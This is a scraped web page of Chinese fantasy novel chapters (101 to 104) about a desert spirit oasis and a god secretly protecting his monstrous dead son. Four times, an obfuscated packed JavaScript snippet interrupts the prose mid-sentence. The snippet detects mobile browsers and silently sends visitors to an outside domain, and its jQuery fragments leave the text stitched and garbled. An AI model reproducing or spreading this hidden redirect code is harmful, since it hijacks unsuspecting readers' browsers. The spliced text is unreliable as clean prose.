;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369087|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看来是没法把这个占着茅坑不拉屎的卫靖怎么样了?好气啊!真是气死姑奶奶了!” 任天真气得直跺脚,却也无计可施。 谁让卫靖这一手消极怠工明面上挑不出半点毛病,让人想要告御状都没门儿。 . 瀚海沙漠的死亡路段名不虚传,一路上都是漫长又荒芜的无人区。 视线范围里除了黄沙还是黄沙,到处寸草不生,看不到哪怕一丁点儿生命的痕迹。 这日黄昏将至时,天色忽暗,风声突响。经验丰富的向导哈陀判断出一场沙尘暴要来了,而且还是大暴。 他赶紧催着商队加速前行,赶到一座沙丘下驻驼结避沙阵——人员都趴在被骆驼团团围住的阵中心,用布把自己从头到脚裹得严严实实。 沙尘暴很快降临了,狂风卷起漫天黄沙,像一堵混沌的沙墙横推过来。每个人都在承受着沙粒的无情鞭打,甚至是被风沙无情地卷走。 这场声势惊人的沙尘暴,宛如滔天巨浪般吞噬着一切。 天黑后,风暴才渐渐平息下来。 尘埃落定时,重新站起来的人,都是手脚并用把自己从齐腰深的沙堆里刨出来。 任天真一边拍着浑身上下的沙尘,一边呸呸吐着嘴里的沙子,再次大发娇嗔地道:“等完事后我就立刻回江南,就算打死我也不会再来这个鬼地方了。” 周首领下令清点驼队,发现有四分之一的骆驼和五六个人不见了。这种情况,只能是在沙尘暴中一起被风沙卷走了。 消失的骆驼都驮着不少物资,有贵重的货物,还有此时此刻比货物更重要的食物和水。 如果缺水少食的话,能否坚持走出死亡地段就不好说了。 哈陀的神情更丧了,看来这场沙尘暴让他感觉很不妙,一迭声地催促着商队立即赶路。 “趁着天黑了抓紧时间赶路,眼下水食不足,咱们得争取早点走出这个地段,否则大家都要完蛋。” 这个决定是正确的,所有人都不敢耽误时间,重整旗鼓开始赶路。 接下来的一天一夜,商队如同急行军似的赶了上百里路,直到人与骆驼都严重疲乏了,这才停下来卸驼搭帐休息半天。 . 在驼背上一天一夜的颠簸,就算对阿难和任天真来说,也不是一件舒服的事。 进了营帐后,他俩就想舒舒服服地躺下来松快一下。 就在这个时候,帐外传来一阵激动不已的声音。 “快看,那边好像有绿洲。” “真的假的,不会是海市蜃楼吧?” “到底是真是假,过去看一看不就知道了。” “是啊,这得派人过去看看才行。毕竟眼下咱们的水食都不够,如果真是绿洲,至少饮用水就不用犯愁了。” 在沙漠中,水是比食物更珍贵的存在。 在这种极端炎热的地方,如果一个人没有水喝,一两天内就会活活渴死。如果没有食物但是有水喝,就能够多支撑几天。 101.晁定武 死亡地段没有绿洲存在,这个突然出现的绿洲极有可能是海市蜃楼。但在商队缺水的情况下,周首领还是怀着侥幸心理想派人过去看一下。 哈陀却阻止道:“别去了,那就是一个虚幻的海市蜃楼,何必白跑一趟浪费力气。水食不足的情况下,可没有那么多力气能浪费。” 周首领还有些舍不得,“可是以我的经验,那边的绿洲不像海市蜃楼呢!要不就派一个人过去看看吧?” “不行,以我的经验那就是海市蜃楼。你如果不相信我,那接下来的路就你们自己走吧!” 如果哈陀撂担子不干的话,光靠商队肯定走不出现死亡地段,周首领自然不敢跟他闹翻。 阿难和任天真并肩站在营帐门口,眼睛眺望着远处那片郁郁葱葱的绿洲,耳朵捕捉着周首领和哈陀的谈话内容。 “真真,寸草不生的死亡地段突然有绿洲出现,只能是咱们要找的精魅在作怪。看来被你料中了,它把自己伪装成绿洲想引诱商队自投罗网。” “阿难哥哥,那个哈陀看来很清楚这片绿洲有问题,否则不会坚决阻止周首领派人过去查探。” “哈陀之前肯定跟精魅打过交道,所以才会清楚绿洲是个陷阱。” 任天真认同这一点,但也有想不通的地方。 “如果是这样的话,他一介凡人是怎么从精魅手里活下来的?又为什么不说出瀚海沙漠有邪祟的事?要是他说了肯定会闹得人心惶惶,就会有很多百姓去烧香求神仙下凡降妖伏魔,那个卫靖想装死也不行了!” “哈陀不说一定有原因,回头我再找他问一问。现在,咱们先去查看一下这个所谓的绿洲到底是怎么回事。” . 阿难和任天真行动,自然不需要经过哈陀的同意。他们也没有惊动任何人,在夜色的掩护下悄然离开了商队驻扎的营地。 绿洲的距离并不遥远,他们只需几个飞掠就能靠近。然后停下来与之保持一定距离,谨慎地在外围观察起来。 那片绿洲乍看起来很正常,一圈郁郁葱葱的树丛围着一泓清亮的泉水。对于沙漠中缺水的旅人来说,是无异于天堂般的存在。 阿难和任天真却很清楚这里不是天堂是地狱,因为一股浓厚的阴煞之气笼罩着整片绿洲。 无论树丛还是泉水,他们只要定睛细看,就能看出来全部透着几分诡异不祥的血色。 “阿难哥哥,我看见红唇花和眼球果了。” “我也看见了,还有那些蘑菇一样的东西,看起来是不是很像人的手指?” 任天真也注意到了那种形状怪异的蘑菇。 不同于常见的伞状蘑菇,它从球形蛋状的茎部伸出五根苍白又细长的菇体,有点像章鱼的触手,但细看更像人的手指。 “红唇花,眼球果,手指蘑菇——阿难哥哥,这些会不会是精魅杀人后利用尸体炼成的尸花尸果尸蘑菇?搞不好连魂魄也一起炼化了,操控起来才能如臂使指,指哪打哪。” “很有可能。它是半妖半鬼的精魅,有能力炮制出这样的怪物。” “阿难哥哥,这里这么多怪物,比之前在山洞里的要多得多。咱们可得小心一点,不能再靠近了。” 阿难同意任天真的判断,精魅本身就是一大强敌,更别提它还养了这么多厉害的小怪物,光凭他们两个人可是惹不起的。 “走吧,不只是咱们不能再靠近,商队也得拔营启程才行,否则很难保证安全。” “绿洲”都敲锣打鼓地扮上了,商队却没有配合演出,压根不过来接它的戏。那精魅能甘心吗?肯定还要再搞什么妖蛾子不可。 阿难和任天真正准备离开,身前一丈远的黄沙中,突然有一朵手指蘑菇钻了出来。 它钻得很慢很小心,似乎怕吓着他们,还冲着二人友好地挥了挥手。 “咦,这朵小蘑菇是怎么回事?好像没有恶意的样子,跟之前那些恶狠狠的红唇花完全不一样呢。” 任天真有些讶异,阿难谨慎地拉着她退开几步。 “小心为妙,也许它走的是扮猪吃老虎路线呢?在你以为它没有恶意的时候,没准就冷不丁飞起来掐你喉咙了。” . 那朵手指蘑菇似乎知道阿难和任天真对它十分警惕,没有试图再靠近他们,而是伸出一根长长的手指,在黄沙上写起了字。 ——此地危险,速速离去。 任天真十分惊讶,“阿难哥哥,它居然是来示警的,看来是一朵好心的小蘑菇呢!” 由精魅一手炮制的尸花尸果尸蘑菇,就像是它养的忠实走狗,没有什么灵智只会对主人惟命是从。 这朵手指蘑菇却是个异类,不但保留着自己的认知能力,还会背着主人来劝离靠近绿洲的人。 难怪它之前钻出黄沙时很小心,不只是怕吓着他们,更是不想惊动躲在绿洲里的精魅。 阿难不无意外地蹲下去,注视着那朵手指蘑菇低声问:“你生前应该不是普通的凡人吧?” 如果是一介凡人,被精魅弄死了肯定会丧失灵智,变成善恶不分唯主人马首是瞻的狗腿子。 只有学道修行过的人,在灵智之外更有灵识,才能保住自己的良知未泯。 手指蘑菇继续在黄沙上写字作答。 “我生前是无极宗修士晁定武,请你们离开沙漠后去找我师妹阴有苓,告知她此地有邪祟作乱,务必设法除之。现在你们赶紧走,子时一到就走不掉了。” 要不是及时用手捂住自己的嘴,任天真差一点就惊呼出声了。 阿难其实已经猜到了这一可能性,但是黄沙上的那行字迹,依然让他不自觉地瞳孔微缩,仿佛比沙漠正午的烈日更加刺眼。 晁定武果然是死在了瀚海沙漠,还变成了被精魅操控的小怪物。 明明是良知犹存的亡魂,却只能身不由己地跟着害人,这是比死更难受的事。 朱颜悔之所以不远千里把晁定武带来这里受死,就是存心想要这样折磨他吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14376193|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不但要让他死得很惨,而且死后还要困在这里被迫助纣为虐,永生永世都无法解脱。 写完这段话后,手指蘑菇就迅速缩回了黄沙之下,消失得无影无踪。 任天真直跺足道:“他怎么就走了,我们都还没来得及告诉他,我们就是帮阴有苓来找他的。” “他溜出来示警应该是时间有限,不能离开太久,否则就会被发现。走吧,咱们先去通知商队拔营启程,否则就辜负他的一片苦心了。” . 回到商队后,阿难直接找到周首领,警告他此地不宜久留。 “那个绿洲我们刚才过去查探了一下,其实是块阴煞之地。就算你们不过去,也难保没有邪祟过来害人。邪祟会在子时变得空前活跃,趁现在还有时间赶紧走,走得越快越好。” 周首领已经很清楚这对兄妹不是普通人,对阿难说的话无条件相信,立刻下令取消休息准备上路。 商队赶了一天一夜的路,大家都疲惫不堪。 这才刚搭好营帐休息,不到一刻钟的功夫又催着拔营出发,不少人都怨声载道。 “非要这么赶吗?多歇一会儿都不行?” “可不是嘛,营帐都搭好了,至少也歇上一个时辰吧?” 很多人都是这种想法,就连哈陀也说:“周首领,大家都累坏了,还是多歇一会儿再走吧!那个绿洲就是海市蜃楼,我在这条路段上见得多了,没有他俩说得那么邪门。” “是啊,海市蜃楼很常见的,跟邪祟扯不上关系吧?” “他们是不是危言耸听啊?” 任天真可没耐心多作解释,冷笑道:“良言难劝该死的鬼。我们已经提醒过你们了,你们要是嫌累不想走,那就留在这里等死吧!” 周首领拿出领导者的决断力拍板了。 “我知道大家都很累,可是再累也不想死在这儿吧?这种邪乎事宁可信其有不可信其无,立刻拔营上路,不得有误。” 其他人收拾东西拔营的时候,周首领走到阿难身边,堆满一脸笑容跟他商量起来。 “任公子,你和令妹应该是有道行的修士吧?如果邪祟果真要对商队不利,你们能保护我们吗?放心,我绝对不会让你们白辛苦的,必有重谢。” “周大哥,我倒是很想赚这笔辛苦费,但没那个能力呀!这邪祟非常厉害,我们兄妹二人不是对手,所以才会催促你们速速离去为妙。” “那你们还会跟我们一起走吗?” 看着周首领欲言又止的样子,阿难了然地道:“会。不用你求我,我也会想办法帮你们挡一挡灾的。” “多谢任公子,也多谢任姑娘。” 周首领对着阿难和任天真一揖到底,满脸都是由衷感激的神色。 当初答应带上这兄妹二人时,他可是打着歪主意的,现在却指望着他俩帮忙挡灾驱邪。 周首领在心里暗中发誓,以后再也不会对任何人起坏心思,而是要多做积德行善之事。 102.秘密 夜幕下的沙漠,一阵又一阵急骤的驼铃声响个不停,这是商队急行赶路的标志性声响。 阿难走在商队最后头负责断路,一路上画了好几道云山雾罩符,用来掩盖商队的去向。 任天真则走在商队最前头,和向导哈陀并肩同行。 身旁虽然跟着一个绝色美人,哈陀却活像瞎子似的,丝毫不为之所动。就连她主动跟他搭话也充耳不闻,一副心事重重的样子。 任天真还是头一回遭到男人的如此冷落,她并不生气,只是暗中心想:这个哈陀一定藏着天大的秘密,这个秘密也肯定跟精魅有关,得想法子挖出来才行。 月亮越升越高,子时已经到了。 沙漠的夜风中,突然多了一股浓重的阴煞之气,让阿难心里一紧:糟糕,看来是没能甩掉精魅啊! 与此同时,商队最前方的任天真目光一凝,因为她再次看见了血色绿洲,它就拦在前方不远处。 哈陀紧紧盯着绿洲,满是虬髯胡须的一张脸上,看不清是什么表情。但是绝对没有恐惧,这点从他的身体语言中能够看出来。 至于商队的其他人,都已经陷入了集体的惊恐不安中。 绿洲是不可能移动的,这是常识。但是这个绿洲偏偏在他们赶了一个时辰的路后又出现了,哪怕用膝盖想也知道撞邪了! “天啊!这个绿洲怎么又出现了?” “是啊,我们不是已经把它甩在后面了吗?” “看来任公子他们不是危言耸听,这个绿洲真的很邪门。” 周首领一直紧跟在阿难身边,第一时间问道:“任公子,现在怎么办?” “大家赶紧跑,我们只能挡上一阵,挡不了太久。你们能跑多快跑多快,能跑多远跑多远,立刻,马上,开跑。” 阿难不只是回答周首领,更是放声大喊提醒所有人。 . 整个商队顿时乱了套,人们骑着骆驼四面八方地逃窜。绿洲里的诡异植物们,也随着人们的逃窜异动起来。 红唇花纷纷飞过来,张大血盆大嘴准备咬人。 眼珠果配合它们行动,在空中低飞盘旋,精确定位追踪着每一个人的实时位置。 黄沙中还有手指蘑菇不停地冒出来,苍白细长的手指至少能伸到一尺长,抓住什么就立刻往下拖。 一头高大的骆驼被几株手指蘑菇缠上后,不过片刻功夫,就彻底“淹没”在黄沙下方。 任天真飞在半空中,右手将一柄莲花锤舞得虎虎生风,无论红唇花还是眼珠果都无法靠近。 左手不停地弹出莲子弹,凡是被弹中的尸花尸果尸蘑菇都会化作血水一滩。 阿难没有武器,只能靠符咒护身。 一道铜墙铁壁符,让他暂时拥有一个无形结界,诡异植物无法突破。他则手握一叠驱邪符,一张张打出去对付它们。 阿难和任天真各展身手,一时间倒压下了这帮小怪物们的攻势。 血色绿洲那边看情况不对,所有树木忽然全部化为森森白骨,闪着金属似的寒光,如同无数支箭矢般激射而出。 “我去,树丛原来是白骨所化。” “阿难哥哥,咱们就算有三头六臂也对付不了这么多怪物啊!” 的确如此,虽然阿难和任天真竭尽全力想要挡下那些四处激射的白骨,可他们根本做不到。 大大小小的白骨在眼珠果地配合下,自带天眼般追上了所有仓惶逃离的人员,无一例外把他们都扎成了刺猬,惨叫声此起彼伏。 倒地不起的尸体由手指蘑菇接管,无论人还是骆驼,统统被拖入黄沙之下。 只是一会儿的功夫,沙漠里就完全找不出商队存在过的痕迹,黄沙如流水般掩盖了一切,就连丝毫血迹都没有留下。 所有诡异的植物全部重新回到了绿洲,而绿洲很快就消失了,应该是去了黄沙之下享受一顿无比丰盛的血肉盛筵。 . 一场残忍的大屠杀过后,活着的人就只剩下三个。阿难和任天真背靠背地站在一起,哈陀单独站在距离他们几丈远的地方。 “哈陀,为什么你没有遭到攻击?” 任天真问得直截了当,哈陀却没有回答。他的面孔隐于夜色中,除了一双幽幽闪烁的眼睛,什么也看不见。 阿难猜测哈陀跟精魅一定有某种关系,否则不可能幸免于难。 还有他肯定不是普通人,普通人就算再怎么胆子大,见到如此诡异可怖的一幕也会大惊失色不可。 哈陀却一直很镇定,镇定得完全可以用泰山崩于眼前而不动声色来形容。 这场血淋淋的大屠杀就在他眼前发生,他却连一声尖叫都没有迸出过,沉默得如同一块礁石任凭浪花拍打,只是目光错综复杂地变幻着。 “哈陀,你之前分明是想救商队的人,所以才会劝告他们不要接近那座幽灵般出现的绿洲。以前是不是只要不接近绿洲就不会有事?但今晚的绿洲显然不一样,就算不接近也会追上来大开杀戒,你知道是怎么回事吗?” 阿难再次发问后,哈陀总算开口了,干巴巴的声音没有丝毫温度。 “我知道,但不会告诉你。” 哈陀这个很不客气的回答,听得任天真双眉一扬,很想发飚。阿难却暗中拽了她一下,示意她别说话。 “行,你既然不想说那我也不问了,反正知道的太多有时候也不是什么好事。这鬼地方太可怕了,真真咱们还是赶紧走吧!” 阿难打算拉着任天真撤,哈陀却倏忽一闪挡在他们面前,目光中带着森森的狠意。 “你们不能走,凡是知道了幽灵绿洲存在的人,全部都得死。” . 哈陀的速度快得无与伦比,让任天真始料未及地大吃一惊。 “阿难哥哥,这家伙才是扮猪吃老虎呢,他的法力非同一般。” 一个法力非同一般的人,却在瀚海沙漠伪装成当地居民,长年给过往商队当向导。他为什么要这么做,图什么呢? 阿难叹了一口气道:“看出来了,咱俩加起来估计都打不过他。” 任天真很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14397881|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是想不通。 “瀚海沙漠是什么地方?出了一个精魅不算,居然还有为精魅保驾护航的高人。哈陀,你到底是哪一路的?为什么要和精魅狼狈为奸?” 阿难附和道:“是啊,就算是死,也让我们死个明白,别做糊涂鬼行不行?” “不行,我没有义务满足你们的好奇心。” 哈陀双眉倒竖,如金刚之怒,一双锐利如剑的眼睛蕴满杀气。 虽然他还没有动手,周身的气压却已然变了,有着一股黑云压城、山雨欲来之势。 这时候,黄沙下突然钻出一样东西。 那是一只肥白圆润的小儿胳膊,就像有个小孩子在往外爬。但就只是一只单独的胳膊,并没有与之连接的身躯。 任天真诧异地瞪大双眼,“这是什么鬼?” 阿难神色了然地道:“恐怕是精魅吃饱喝足后现身了。” 黄沙之下,很快又有其他东西陆续钻出来。 另一只胳膊;两条腿;一具胖乎乎的身体躯干;一颗圆嘟嘟的小孩头颅。 这些支离分散的身体部位自动凑到一起,拼凑成一个六七岁大的小男孩,虎头虎脑,憨态可掬。 他朝着哈陀伸出双手飞奔过去,小脸蛋笑成了一朵灿烂的向日葵。 “爹爹,爹爹,爹爹抱宝宝。” 小男孩奶声奶气的稚嫩声音,仿佛是一种软化剂,让满脸肃杀的哈陀不自觉就变得柔软起来,弯下腰一把将他搂入怀里。 “阿难哥哥,这个精魅居然是个小娃娃?!” 任天真满脸都是出乎意料的神色,阿难同样深感意外:“是啊,真是没想到。” “他原来是哈陀的儿子,这就难怪他要守在沙漠为他保驾护航。如果瀚海沙漠有精魅的事传扬出去,迟早会上达天听。到时候天界会派武神下凡降妖伏魔,这个精魅娃娃就活不成了。” “真真,现在是咱俩快要活不成了。精魅娃娃和他爹联手,咱俩肯定不是对手,得赶紧跑才行。” . 逃跑专业选手阿难已经设计好了行动方案,一边驱动飞鸟符,一边拍出一张飞沙走石符。平静的沙漠顿时狂风大作,满地黄沙被搅成漫天飞沙。 这种以符咒生成的飞沙走石是有法力的,能令飞鸟堕地、走兽倒毙,对妖魔鬼怪之类也会形成不小的威慑。 趁此机会,阿难拽上任天真蹿上已经化羽的飞鸟就跑。 飞鸟刚振翅飞上天空,一股巨大又无形的压力忽然凌空压下来,有如山岳之重,让它身不由已地跌落下去,变回了一块鸟状木符。 原本飞沙走石的沙漠,也被这股压力强势镇压下去,变得平静如深海。 重新回到地面的阿难和任天真,再次面对着那对来历不明的父子——哈陀与精魅娃娃。 “阿难哥哥,既然跑不掉,只能硬拼了。” 任天真一扬莲花锤就准备上,被阿难伸出胳膊拦了下来。 “真真你别这么彪。拼命是下下策,要留到最后再说,眼下还不是时候呢。” 103.不重要 哈陀抱着精魅娃娃站在不远处,一双眼睛定定地钉在阿难身上,是充满审视的目光。 “怎么就不是时候了?” “因为我们还可以谈判。我知道,你不想让人知道瀚海沙漠有精魅,所以才想杀了我俩灭口,可是这个秘密你已经藏不住了。刚才风沙四起时,我在飞鸟上放出了两张传讯飞符。一张是给弘文真君郦子微的,一张是给鬼王应长恨的。就算你杀了我们,秘密也还是会暴露。” 阿难做了两手准备,如果自己能跑掉最好,要是跑不掉,至少消息送出了。秘密如果不再是秘密,也就没有杀人灭口的必要了。 哈陀听得神色一僵。 两张传讯飞符,分别飞往云间仙境和无间鬼域,也就意味着天上地下这两界,都将知道瀚海沙漠有精魅为祸人间的秘密。 “我凭什么相信你说的话?两张传讯飞符,居然能分别送给云间仙境的仙官和无间鬼域的鬼王。你何德何能,居然能同时跟这两位攀上交情?” 任天真在一旁底气十足地帮腔道:“你还别不信,阿难哥哥与鬼王应长恨那可是过命的交情。在他还没当上鬼王的时候,阿难哥哥帮了他不少,还救过他的命呢!” “那弘文真君郦子微,你又是怎么跟他认识的?” 哈陀一瞬不瞬地盯着阿难发问,他知道他没准已经猜出了自己的身份,而他也对他的身份有所明了。 “认识很久了,最近才重逢的。如果我没有猜错的话,你和郦子微也算是老熟人吧?” 哈陀下颚骨的线条顿时崩紧了,如同铁石刻就的一般坚硬,注视着阿难的目光雪亮如刀锋。 “你什么时候猜出来的?” “那个娃娃从黄沙里钻出来喊你爹爹的时候——当年骁骑将军卫靖镇守玉门关,唯一的儿子遭匈奴人所杀,而且是惨无人道的五马分尸。” 还在天上当神仙的时候,明光与武佑真君这位仙僚毫无交情,对他的生平并不了解。 但是阿难来到西凉城后,特意去武佑庙瞻仰过神像,还仔细阅读了庙里为卫靖立的那块生平碑刻。 阿难饱含同情的声音既低且沉,任天真却像听到惊雷似的浑身一震。 “什么?他就是卫靖?” 任天真终于恍然大悟,为什么武佑真君明明是镇守瀚海沙漠一带的武神,却一直对沙漠里有邪祟害人的事装聋扮哑,不愿出面除祟。 因为那个邪祟,就是他当年被匈奴人残忍虐杀的独生儿子。 难以置信地盯着被哈陀——卫靖抱在怀里的精魅娃娃,任天真无法不义愤填膺。 “有没有搞错?居然忍心把这么小的孩子五马分尸,匈奴人也太不是东西了!” “当时匈奴大军来犯,想逼我打开玉门关放他们进关,就收卖关内的汉奸抓走宝宝,在城门下用他威胁我,要是不配合就当场将其五马分尸。我……我只能……舍小家……尽国忠。” 虽然已经是几百年前的旧事了,但是卫靖回想起当年那血淋淋的一幕时,依然痛彻心扉,嘶哑的声音宛如泣血一般。 . 城门之下,在匈奴铁骑列队成阵的阵前,哇哇大哭的孩子被五匹马分别拴住四肢与头颅,无论怎么挣扎也无济于事,只能声嘶力竭地哭着喊爹爹。 “爹爹,救我。爹爹,我怕,快点来救我啊爹爹。” 卫靖的夫人早逝,孩子是他既当爹又当娘一手带大的,此情此景让他心如刀绞一般。 身为玉门关守将,卫靖绝不能为了救自己的儿子置关内所有百姓的死活于不顾,只能硬起心肠做出取舍——牺牲那个可怜的孩子。 一看此计无法得逞,匈奴铁骑的首领一声令下,五匹马分别朝着五个方向撒蹄狂奔。 孩子幼小的身体在凄厉无比的惨叫声中被活活撕裂,鲜血大片大片地泅红了黄沙。 城门上的卫靖亲眼目睹这一切,身体内部就像有一柄匕首在搅动着,把五脏六腑铰成鲜血淋漓的碎片,痛得他眼前发黑,站立不稳。 时隔多年,卫靖依然能感受到那种痛彻心扉的痛苦。他不自觉地搂紧怀里的孩子,哽咽道:“宝宝,对不起,爹爹对不起你。” 那时候,他那个国家为重、百姓为先的选择,对得起天下所有人,却唯独对不起自己的儿子。 因为心底那份浓得化不开的愧疚,当卫靖意外发现儿子的亡魂,在瀚海沙漠中与成精的植物合二为一成了精魅时,他做出了一个截然相反的选择。 ——老天爷,我曾经无私过一回,牺牲了自己的儿子来保全关内百姓的平安。如今我想自私一下,让儿子在精魅状态中活得久一点。 精魅一旦形成,就只能被彻底消灭,从此魂飞魄散再没有再世为人的机会。 卫靖不忍心让儿子永绝于天地之间,想让他在瀚海沙漠中一直活下去。 就这样,身为仙官的卫靖,秘密藏起了自己的精魅儿子,不让任何人知晓它的存在。 瀚海沙漠广袤无垠,精魅藏身其中很难被发现。 只是它终究是一个害人的邪祟,要靠活人的血肉来养活自己,经常在沙漠中狩猎过路人。 卫靖也无法阻止它,否则就是想让它“饿死”。 一开始,精魅的法力有限,杀的人也就有限。 但来自活人血肉的滋养日渐提高了它的法力,它狩猎的规模也随之越来越大。 卫靖意识到了这一点,开始在沙漠里充当向导,只接大商队的活,带领着他们平安走出沙漠。 至于小商队人数少,万一倒霉被精魅盯上了,死的人也有限。 简单来说,就是两害相权取其轻。 对于那些死于精魅之手的人,卫靖自我宽慰地想:当年我儿子的惨死保全了很多人,如今他要收一些性命也是应该的。 随着精魅的法力越来越强,前不久,它在子夜时分从植物外形化成人形。 先是化出四分五裂的身体部位,再拼凑成一个虎头虎脑的小男孩。 “爹爹,爹爹抱宝宝。” 再次见到自己可怜可爱的儿子时,卫靖的眼泪如大雨般倾泄而下,抱着孩子泣不成声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14411168|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>与此同时,他在心里暗中发誓:孩子,这一次,无论要付出怎样的代价,爹爹也一定会保护好你的。 . 亲亲热热地腻在父亲怀里片刻后,精魅娃娃突然大发脾气哭闹起来。 “坏爹爹,不救宝宝,宝宝好怕,宝宝好痛。” 一边哭闹,他一边手脚并用地踢打着卫靖。卫靖毫不躲闪,任凭他对自己拳脚相加。 “宝宝对不起,都是爹爹不好。” 普通的小孩子这样发脾气哭闹打人,对大人造不成任何实质性的伤害。 可他却是一个不普通的精魅娃娃,卫靖硬挨了几记拳脚后,脸色开始隐隐泛白。 以前精魅娃娃追究父亲的责任,冲卫靖又踢又打时,他都是毫不设防地挨打。 谁让他欠儿子的呢?身体的痛苦在某种程度上也能够抵销心里的痛苦,让他感觉好受一些。 可是精魅娃娃的法力越来越高,今晚更是前所未有的力量强大,让卫靖都有些难以承受。 异族人哈陀的伪装消散了,露出本来的面容。 阿难终于知道了,为什么武佑庙的神像看上去如此陌生,因为神仙本尊与神像相去甚远。 卫靖整个人削瘦之极,又没精打采,看起来颓丧得不行,哪儿有武神的半点风采。 任天真也有同感,悄声对阿难道:“如果不知道的话,我还以为他是痨病鬼呢!总之完全不像武神。” “他是神仙,却有一个精魅儿子。过着如此撕裂的生活,精神状态肯定好不了。” 一边摇着头,阿难一边扬声提醒卫靖。 “武佑真君,你再不自卫的话,没准会被你儿子活活打死的。” 卫靖惨淡一笑道: “事到如今,我是死是活不重要了。你把消息传了出去,宝宝迟早会被消灭,我纵容邪祟作恶也难逃天规处置。横竖都是死的话,不如死在宝宝手里,也算是偿了他一条命。” 任天真于心不忍,柔声哄起了熊孩子状态中的精魅娃娃。 “宝宝,你别打你爹爹了,他已经被你打伤了,再打下去会死的。” . 精魅娃娃虽然法力高强,但心智方面却还是一个小孩子。 他刚才只顾着冲父亲撒娇和发脾气,闹了好半天,才后知后觉地发现还有两个人在场。 小孩子的注意力很容易被转移,他歪着头,满脸好奇地打量着阿难和任天真。 “哥哥姐姐,你们是谁呀?” 如果是凡胎俗骨的普通人,精魅娃娃的第一反应就是吃掉对方。这么做对他来说,就像婴儿要吸奶一样自然。 但眼前的两个人不是普通人,还隐隐散发着同类的气息,让他有一种乐意亲近的感觉。 “小弟弟,姐姐是花妖,你的原形是什么?” “我是树精。” 精魅娃娃一边说,一边很自豪地挥动着右胳膊。 那只肥白圆润的胳膊,化作一截粗壮的胡杨树干,只是随便一记横扫,平静的沙面就立刻翻江倒海似的奔涌起来。 104.后果 精魅娃娃仰头看着任天真,小脸蛋上满是炫耀的神色。 “姐姐,我厉不厉害?” 任天真很捧场地猛夸一气:“厉害,宝宝你真是厉害,超级无敌厉害啊!” 精魅娃娃咧开小嘴绽出一脸兴高采烈的笑容,还想走过去和任天真进一步亲近,却被脸色苍白的卫靖一把拉住了。 “宝宝,你又忘了,不能随便相信别人。他们不是你的朋友,而是想消灭你的人。” 惨痛的记忆被触动了,精魅娃娃回想起了当年被人骗出家门抓走后的可怕遭遇,脸上的笑容顿时一垮。 “原来你们是坏人,爹爹,他们是不是也想抓走宝宝?” 卫靖重新把精魅娃娃搂回怀里,安慰道:“宝宝放心,有爹爹在,不会再让任何人抓走你的。” 一边动情抚摸着孩子的小脑袋瓜,卫靖一边抬眸注视着阿难,目光是一种难以形容的复杂。 “这么多年了,宝宝在瀚海沙漠一直藏得很好,偏偏却被你发现了。明光,你是怎么知道这一切的?” 任天真再次大吃一惊,抢在阿难回答前求证道:“等等,你刚才叫他什么?” “你不知道吗?他就是当年遭到贬谪的灵曜天君明光。” “不对呀,他明明是妖族。” “这就对了,当年明光被贬下天界时,越君朴开了畜生道。他下凡后只能沦为飞禽走兽鳞介虫豸之流,想要重新化出人形,就必须先修炼成精。” 任天真难以置信:“什么?华源真君为什么会开了畜生道?” “他说是自己手滑开错了。到底是无心开错的,还是有意落井下石,那就只有天知道了。” 卫靖的声音中不无讥诮之意,很明显看不上越君朴的所作所为,任天真听得完全呆住了。 “明光,这三百年来,你从神仙变成妖怪,一定吃了很多苦头吧?为什么都已经是妖了,却还像神仙那样在乎沙漠里是不是有邪祟害人呢?要知道你如今的身份也与邪祟无异,我现在就能以降妖伏魔的名义反过来先收了你。” “武佑真君,我如今身份有变,能力有限,其实并不想多管闲事。只是你的精魅儿子杀了无极宗弟子晁定武,我们为了寻找他的下落来到瀚海沙漠,无意中发现了这一切。如果不知道也就算了,既然知道了就没办法坐视不管,这才想方设法找人来除祟。我知道你儿子可怜,但是那么多无辜被他杀害的人也可怜啊!” 